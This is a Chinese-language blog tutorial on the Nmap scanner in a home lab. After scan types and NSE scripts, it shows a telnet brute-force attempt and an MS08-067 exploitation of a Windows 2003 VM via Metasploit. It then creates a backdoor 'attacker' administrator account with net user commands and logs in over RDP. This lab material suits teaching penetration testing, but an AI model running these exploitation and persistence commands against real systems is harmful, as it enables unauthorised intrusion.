Nmap扫描工具的使用

这篇具有很好参考价值的文章主要介绍了Nmap扫描工具的使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1. 实验目标

本实验可以在虚拟机中搭建windows系列系统进行操作,建议选择老旧的windows xp,windows 7,windows sever2012等系统,这样可以扫描出很多的漏洞,也方便后面做入侵实验。攻击机可以使用kali linux,被攻击机还有肉鸡使用windows系列系统比较好。

2. kali

  • 主机探测:Nmap可査找目标网络中的在线主机。默认情况下,Nmap通过4种方式—— ICMP echo请求(ping)、向443端口发送TCP SYN 包、向80端口发送TCP ACK包和ICMP 时间戳请求——发现目标主机。

  • 服务/版本检测:在发现开放端口后,Nmap可进一步检查目标主机的检测服务协议、应用 程序名称、版本号等信息。

  • 操作系统检测:Nmap 向远程主机发送一系列数据包,并能够将远程主机的响应与操作系统 指纹数据库进行比较。如果发现了匹配结果,它就会显示匹配的操作系统。它确实可能无法 识别目标主机的操作系统;在这种情况下,如果您知道目标系统上使用的何种操作系统,可 在它提供的 URL 里提交有关信息,更新它的操作系统指纹数据库。

  • 网络路由跟踪:它通过多种协议访问目标主机的不同端口,以尽可能访问目标主机。Nmap 路由跟踪功能从TTL的高值开始测试,逐步递减TTL,直到它到零为止。

  • Nmap脚本引擎:这个功能扩充了Nmap的用途。如果您要使用Nmap实现它(在默认情况 下)没有的检测功能,可利用它的脚本引擎手写一个检测脚本。目前,Nmap可检査网络服务 的漏洞,还可以枚举目标系统的资源。

2.1 kali安装

1.kali iso下载:下载地址

2.下载并解压之后,在VMware,选择文件->打开 (不选择新建虚拟机)

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

3.进入虚拟机之后,直接输入账号密码(默认均为kali),即可进入kali。

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

3. Nmap

  • Nmap在kali系统中自带,无需下载。

3.1 Nmap入门

  • nmap 192.168.182.132 IP为虚拟机Win2003的IP地址,该指令可以扫描出对外开放的服务。

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

从结果可以看出88、135、139等端口开放。

  • nmap -p 端口 IP(域名)可以扫描指定端口是否开放

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

88端口开放

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

80端口关闭

也可以增加端口和网段:

nmap 192.168.182.1-253

nmap -p 88,80,135 192.168.182.132

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

扫描该网段的端口信息

  • nmap -sn 192.168.182.1-255:查看这个网段在线的主机

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

3.2 Nmap进阶

  • nmap -sV 192.168.182.132

该指令可以扫描服务器端软件的版本信息

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • nmap -O 192.168.182.132

该指令可以识别目标主机的操作系统

但需要注意的是,该指令需要root权限,在没有获得权限之前无法扫描

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

输入sudo su -输入默认密码kali即可获得权限

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

再次输入nmap -O 192.168.182.132指令

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

得到目标主机的操作系统等信息

  • -Pn:禁用主机检测

如果主机屏蔽了ping请求,Nmap可能会认为该主机没有开机。这将使得Nmap无法进行进一 步检测,比如端口扫描、服务版本识别和操作系统识别等探测工作。为了克服这一问题,就 需要禁用Nmap的主机检测功能。在指定这个选项之后,Nmap会认为目标主机已经开机并会 进行全套的检测工作

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 强力检测选项:nmap -A 192.168.182.132

可以得到以下信息:

服务版本识别(-sV);
操作系统识别(-O);
脚本扫描(-sC);
Traceroute(–traceroute)

3.2.1 TCP扫描选项

  1. TCP连接扫描(-sT)

    指定这个选项后,程序将和目标主机的每个端口都进行完整的三次 握手。如果成功建立连接,则判定该端口是开放端口。由于在检测每个端口时都需要进行三 次握手,所以这种扫描方式比较慢,而且扫描行为很可能被目标主机记录下来。如果启动 Nmap的用户的权限不足,那么默认情况下Nmap程序将以这种模式进行扫描。

  2. SYN扫描(-sS):

    该选项也称为半开连接或者SYN stealth。采用该选项后,Nmap将使用 含有SYN标志位的数据包进行端口探测。如果目标主机回复了SYN/ACK包,则说明该端口处 于开放状态:如果回复的是RST/ACK包,则说明这个端口处于关闭状态;如果没有任何响应 或者发送了ICMP unreachable信息,则可认为这个端口被屏蔽了。SYN模式的扫描速度非常 好。而且由于这种模式不会进行三次握手,所以是一种十分隐蔽的扫描方式。如果启动Nmap 的用户有高级别权限,那么在默认情况下Nmap程序将以这种模式进行扫描。

  3. TCP NULL(-sN)、FIN(-sF)及XMAS(-sX)扫描:

    NULL 扫描不设置任何控制位; FIN扫描仅设置FIN标志位:XMAS扫描设置FIN、PSH和URG的标识位。如果目标主机返回 了含有RST标识位的响应数据,则说明该端口处于关闭状态;如果目标主机没有任何回应, 则该端口处于打开|过滤状态。

  4. TCP Maimon扫描(-sM):

    Uriel Maimon 首先发现了TCP Maimom扫描方式。这种模式的 探测数据包含有FIN/ACK标识。对于BSD衍生出来的各种操作系统来说,如果被测端口处于 开放状态,主机将会丢弃这种探测数据包;如果被测端口处于关闭状态,那么主机将会回复 RST。

  5. TCPACK扫描(-sA):

    这种扫描模式可以检测目标系统是否采用了数据包状态监测技术 (stateful)防火墙,并能确定哪些端口被防火墙屏蔽。这种类型的数据包只有一个ACK标识 位。如果目标主机的回复中含有RST标识,则说明目标主机没有被过滤。

  6. TCP窗口扫描(-sW):

    这种扫描方式检测目标返回的RST数据包的TCP窗口字段。如果目 标端口处于开放状态,这个字段的值将是正值;否则它的值应当是0。

  7. TCP Idle扫描(-sI):

    采用这种技术后,您将通过指定的僵尸主机发送扫描数据包。本机 并不与目标主机直接通信。如果对方网络里有IDS,IDS将认为发起扫描的主机是僵尸主机。

3.2.2 UDP扫描选项

Nmap有多种TCP扫描方式,而UDP扫描仅有一种扫描方式(-sU)。虽然UDP扫描结果没有 TCP扫描结果的可靠度高,但渗透测试人员不能因此而轻视UDP扫描,毕竟UDP端口代表着 可能会有价值的服务端程序。但是UDP扫描的最大问题是性能问题。由干Linux内核限制1秒内最多发送一次ICMP Port Unreachable信息。按照这个速度,对一台主机的65536个UDP端口进行完整扫描,总耗时必 定会超过18个小时。

nmap -sU 192.168.182.132 -p 53,161:指定扫描53端口和161端口

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 使用Wireshark对UDP扫描进行分析:

1.首先在kali终端输入wireshark就可以打开wireshark

2.将IP地址切换到我们的目标地址:192.168.182.132

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

3.输入指令对1-200号端口进行扫描nmap -sU 192.168.182.132 -p 1-200

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

4.结果分析

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

收到的CIMP port unreacha报文,说明对应的端口是关闭或屏蔽的。

3.2.3 将结果输出

  • -oN:不显示runtime信息和警告信息。

  • -0X:生成XML格式文件

  • -oG:生成Grep格式文件

  • -oA:输出所有格式:.xml .nmap .gnmap

3.3 漏洞检测

3.3.1 NSE脚本

Nmap的漏洞检测是通过Nmap的扩展脚本实现的Nmap本身内置有丰富的NSE脚本,可以非常方便的利用起来,当然也可以使用定制化的脚本完成个人的需求。在某些时候,我们大部分都使用Nmap进行扫描,然后再通过Metasploit进行漏洞利用,但是这个过程比较繁琐,一个个漏洞去验证的话还需要打开MSF去设置参数,最后run/exploit。

3.3.2 Metasploit

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。——维基百科

3.3.3 脚本参数

  • 脚本数量

ls /usr/share/nmap/scripts/ | wc -l

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

可以看出kali2022.1自带 605个脚本

  • 脚本参数

--script-args=key1=value1,key2=value2...:

传递脚本里的参数,key1是参数名,value1是对应的参数值。

–-script-args-file=filename

使用文件来作为参数。

--script-trace

如果设置该参数,则所有的脚本收发请求过程。

--script-updatedb

在Nmap的scripts目录里有一个script.db,该文件中保存了当前Nmap可用的脚本,类似于一个小型数据库,如果我们开启nmap并且调用了此参数,则nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新。

--script-help=脚本名称

调用该参数后,Nmap会输出该脚本名称对应的脚本使用参数,以及详细介绍信息。

3.3.4 telnet爆破脚本

查询是否有telnet脚本:ls /usr/share/nmap/scripts/ | grep telnet

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

使用上面提到的--script-help=脚本名称来查看telnet脚本的详细信息nmap --script-help=telnet-brute

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

可以看到一个文档信息,该文档为telnet脚本的文档。

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

使用例子:nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s <target>

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

可以看到,因为23端口是关闭的,所以该指令并没有起作用。

23端口为telnet的端口。

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。

我们在虚拟机Win2003打开23telnet服务

开始->运行->services.msc

找到Telnet服务(默认是禁用的)->双击->常规->启动类型->改成手动->启动

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

再次使用talnet脚本进行爆破:

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

可以看出没有对应字典文件,加上路径后。

nmap -p 23 -Pn --script=telnet-brute --script-args=userdb=/usr/share/nmap/nselib/data/usernames.lst,passdb=/usr/share/nmap/nselib/data/passwords.lst,telnet-brute.timeout=3s --script-trace 192.168.182.132

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

仍然没有对应的字典。

在修改了对应的字典后,仍然得不到正确的结果,暂时放弃了该实验。

3.3.5 vuln漏洞脚本

该脚本可以对目标主机或网段扫描是否存在常见的漏洞nmap --script=vuln 192.168.182.132

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

可以看见结果——扫描除了ms08-067、ms17-010、ms10-061漏洞。

利用ms08-067漏洞
  • msfdb init初始化msf框架

msf框架:

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 启动数据库:service postgresql start
  • 进入metasploit:msfconsole

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 查找ms08-067漏洞:search ms08-067

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 使用脚本:use exploit/windows/smb/ms08_067_netapi

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

可以看出我们并没有设置攻击载荷,默认攻击载荷为windows/meterpreter/reverse_tcp

  • 查看攻击所需的配置选项:show options:

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 设置靶机IP:set RHOSTS 192.168.182.132

    nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 查看靶机系统类型:show targets

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

因为我们的靶机为Windows 2003,所以选择74

  • 设置靶机类型:set target 74
  • 攻击:exploit

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全


  • 获取权限shell

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 创建用户:net user attacker 123 /add

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 提权:net localgroup administrators attacker /add

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

  • 查看用户:net user attacker

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

(可能是靶机系统和选择的靶机类型有所差别,所以有乱码显示,但是能看出已经创建了管理员用户attacker)


  • 入侵

因为kali没有远程桌面连接软件,我选择在另外一台Win2003机器上进行远程连接。

在运行中输入:mstsc

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

nmap --script=vuln,网络攻击与防范,tcp/ip,网络,网络安全

可以看出已经入侵了靶机文章来源地址https://www.toymoban.com/news/detail-534697.html

到了这里,关于Nmap扫描工具的使用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 1.3端口扫描:利用Nmap工具进行端口扫描

    1、预备知识:Nmap介绍         nmap的功能:端口扫描、主机发现、服务/版本识别、操作系统识别、网络路由跟踪、Nmap脚本引擎;         nmap的扫描方式:Half-open scanning,默认扫描方式;TCP connect;TCP ACK scanning;TCP FIN/Xmass/NULL scanning。 2、实验条件:         攻击机:

    2024年02月06日
    浏览(48)
  • 如何使用 NMAP 命令进行网络扫描

        Nmap(“Network Mapper”)是一个免费的开源(许可)实用程序,用于网络发现和安全审计。许多系统和网络管理员还发现它对网络清单、管理服务升级计划以及监控主机或服务正常运行时间等任务很有用。Nmap 以新颖的方式使用原始 IP 数据包来确定网络上可用的主机、这

    2024年02月04日
    浏览(34)
  • python-nmap库使用教程(Nmap网络扫描器的Python接口)(功能:主机发现、端口扫描、操作系统识别等)

    Python-nmap是一个Python库,用于帮助进行网络扫描。它是Nmap网络扫描器的Python接口,允许开发者从Python脚本中直接调用Nmap的功能。这篇文章将详细介绍如何使用python-nmap库来执行各种网络扫描任务。 在开始之前,需要确保安装了Nmap和python-nmap库。可以通过以下命令安装Nmap: 对

    2024年02月21日
    浏览(39)
  • 如何使用Kali Linux的Nmap网络安全扫描神器

    一、背景介绍 nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。 通常我们在进行网络安全测试

    2024年04月26日
    浏览(36)
  • 网络扫描 : nmap 常见扫描方式2

    请背诵本文!!!!!!!!!!!!!!!!!! NMAP更具什么来判断服务? root@Kali:/pen/nmap/share/nmap# pwd /pen/nmap/share/nmap root@Kali:/pen/nmap/share/nmap# ls nmap.dtd           nmap-os-db     nmap-protocols  nmap-service-probes  nmap.xsl nmap-mac-prefixes  nmap-payloads  nmap-rpc        nmap-ser

    2024年02月08日
    浏览(32)
  • Nmap网络扫描器实验

    网络入侵的一般流程是确定目标、信息收集、漏洞挖掘、实施攻击、留下后门、清除日志。在信息收集环节又可分为网络踩点、网络扫描和网络查点。在网络扫描部分,按照攻击者的入侵流程又可分为主机扫描、端口扫描、系统类型探测和漏洞扫描。 网络扫描是针对整个目标

    2024年02月03日
    浏览(45)
  • 网络扫描,端口扫描,漏洞扫描,带你认识nmap

    nmap是一款用于网络发现和安全评估的开源工具。它可以扫描网络主机,了解主机的开放端口和服务信息,甚至可以对操作系统进行识别。 以下是nmap主要用途: 网络发现:nmap可以扫描网络上的主机,了解主机的IP地址、MAC地址等信息。 端口扫描:nmap可以扫描网络上的主机,

    2024年02月13日
    浏览(35)
  • 精通Nmap:网络扫描与安全的终极武器

    Nmap,即NetworkMapper,是一款开源的网络探测和安全审计工具。它能帮助您发现网络中的设备,并识别潜在的安全风险。在这个教程中,我们将一步步引导您如何有效地使用Nmap,让您的网络更加安全。 因为Nmap还有图形化版本,这里为了原汁原味和适用性更强,这里采用终端版

    2024年02月19日
    浏览(36)
  • 网络扫描神器:Nmap 保姆级教程(附链接)

    Nmap(Network Mapper)是一款用于网络发现和安全审计的开源工具。它最初由 Gordon Lyon(也被称为 Fyodor Vaskovich)开发,是一款功能强大且广泛使用的网络扫描工具。Nmap 允许用户在网络上执行主机发现、端口扫描、服务识别和版本检测等操作,以帮助评估网络的安全性、发现主机

    2024年04月10日
    浏览(39)
  • 【Namp】精通Nmap:网络扫描与安全的终极武器

    Nmap,即NetworkMapper,是一款开源的网络探测和安全审计工具。它能帮助您发现网络中的设备,并识别潜在的安全风险。在这个教程中,我们将一步步引导您如何有效地使用Nmap,让您的网络更加安全。 因为Nmap还有图形化版本,这里为了原汁原味和适用性更强,这里采用终端版

    2024年03月17日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包